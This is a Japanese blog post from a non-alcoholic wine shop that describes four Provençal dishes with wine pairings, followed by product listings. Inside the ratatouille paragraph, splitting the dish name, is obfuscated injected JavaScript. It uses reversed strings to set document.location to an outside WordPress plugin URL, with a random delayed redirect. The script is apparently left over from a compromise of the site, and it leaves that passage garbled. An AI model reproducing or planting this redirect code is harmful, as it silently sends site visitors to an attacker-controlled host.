ノンアルコールワインを楽しむ皆様に。

   
2018/1/25 posted

フランスのプロヴァンスの地方料理4選

   

  楽しむ・学ぶ

 

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プロヴァンスは爽やかなブルーのような雰囲気を感じませんか？日本でも、地中海のニュアンスとして使われるような単語ですが、プロヴァンスは、イタリアと地中海に接するフランス南東部にある地域です。

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最大都市はマルセイユになります。その他、ニース、カンヌ、アルル、コート・ダジュール、アヴィニョン、トゥーロン、エクス＝アン＝プロヴァンス、ギャップなどが、プロヴァンス地方に当たります。

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プロヴァンス地方は、夏の3～4ヶ月間、ほとんど雨が降らない地中海性気候で、湿度が低く乾燥しています。年間を通し強い日差しが注ぐ地方になります。

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上の写真は、プロヴァンス地方のマルセイユの景色です。今回は、フランスのプロヴァンス地方の料理をピックアップしていきます。

サラダ・ニソワーズ

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サラダ・ニソワーズ(Salada Nicoise)は、ニース風サラダのことです。ニース風とは、フランスのニース地方の様式に則っていることで、トマト・オリーブ・アンチョビー・さやいんげん、ニンニクなどを用います。これらの食材はニース地方で取れます。

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ニースはカンヌとモナコの中間地点に位置しています。サラダ・ニソワーズは、フランス南東部プロヴァンス＝アルプ＝コート・ダジュール地域圏のシャトーヌフ・デュ・パプがよく合うとされています。

ラタトゥイユ

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ラタトゥイユ(Ratatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touille)は、トマト、ナス、ピーマン、ズッキーニなどプロヴァンス地方の野菜をオリーブオイルで炒めて、野菜の水分で煮た料理になります。

煮る際は、ワインを使ったり、ローリエ、オレガノ、バジル、タイムなどの香草を加えることもあります。

ラタトゥイユは、プロヴァンス地方のロゼワインで合わせます。

ジゴ・ダニョー・ロテイ

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ジゴ・ダニョー・ロテイ(Gigot d’Agneau Roti)は、仔羊のもも肉のローストです。フランス南東部のプロヴァンス地方に位置するバンドル(バンドール)の赤ワインで合わせます。バンドル産のワインは、プロヴァンス地方で最良のワインだと言われ、重厚で力強く赤ワインが造られるのが特徴です。

ブイヤベース

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ブイヤベース(Bouillabaisse)は、地中海の魚介類をたっぷり使い、サフラン、オリーブ油で風味を付けたスープです。プロヴァンス地方にあるマルセイユの東になるカシス地方のワインで合わせます。カシスのワインは、白ワインが70％を占めます。

カシスの白ワインは、比較的しっかりとボリューム感があり、ハーブの香りが特徴的で、ミネラル感も楽しめるため、ブイヤベースなｄの魚介料理とのマリアージュが抜群になります。

最後に

日本でラタトゥイユやブイヤベースを何気なく食べていると気づきませんでしたが、料理とはその地方で採れたものを活かすところに起源があるということに改めて気づかされますよね。

自分で作る際は、プロヴァンスの料理に、自分が住んでいる地方で採れる大地の恵みを加えていき、よりオリジナルにしていくとさらに良い味わいになります。

ぜひ、今回の記事も参考にしてみて下さい。

MELLOWは本格ワインのノンアルコールワインをオススメします！

デュク・ドゥ・モンターニュ　ブリュット

デュク・ドゥ・モンターニュ　ブリュット／750ml

メーカー / 
 NEOBULLES（ネオブュル）社　ベルギー
味わい / 
辛口でキレのある口あたり、まろやかな酸味。
アルコール度数 / 
0.0%

よりドライな口当たりのノンアルコール・スパークリングワインが欲しいという声に応える商品。青リンゴとレモンを思わせる爽やかな果実味に、まろやかな酸味。キリッとした口当たりに、爽やかなはじける炭酸。辛口タイプのノンアルコール・スパークリングワインです。

デュク・ドゥ・モンターニュ 製品

デュク・ドゥ・モンターニュ／750ml

カロリー / 
27kcal (100mlあたり)
メーカー / 
 NEOBULLES（ネオブュル）社　ベルギー
味わい / 
甘口
アルコール度数 / 
0.0%

ノンアルコールなのに、まるでシャンパンの味。本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。お酒が飲めない方や、妊娠・授乳中の方、ドライバーの方にも安心して楽しんでいただける商品です。

デュク・ドゥ・モンターニュ・ロゼ 製品

デュク・ドゥ・モンターニュ・ロゼ／750ml

カロリー / 
23kcal (100mlあたり)
メーカー / 
 NEOBULLES（ネオブュル）社　ベルギー
味わい / 
やや甘口
アルコール度数 / 
0.0%

本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。ロゼは、輝くようなサーモンピンクの愛らしい色合い。華やかなアロマの香りも豊かなエレガントな商品です。

ヴィンテンス・シャルドネ（白） 製品

ヴィンテンス・シャルドネ（白）／750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / NEOBULLES（ネオブュル）社　ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ブルゴーニュ地域を代表する品種のシャルドネを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。シトラスの香りと複雑味のある豊かな味わいをお楽しみいただけます。鶏肉などの白身肉や魚の料理と相性がよいタイプです。

ヴィンテンス・メルロー（赤） 製品

ヴィンテンス・メルロー（赤）／750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / 
 NEOBULLES（ネオブュル）社　ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ボルドー地域を代表する品種のメルローを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。フルーティーながらコクがあり、ブルーベリーの風味も感じられます。赤味の肉やチーズと好相性です。

Thanks for your reading!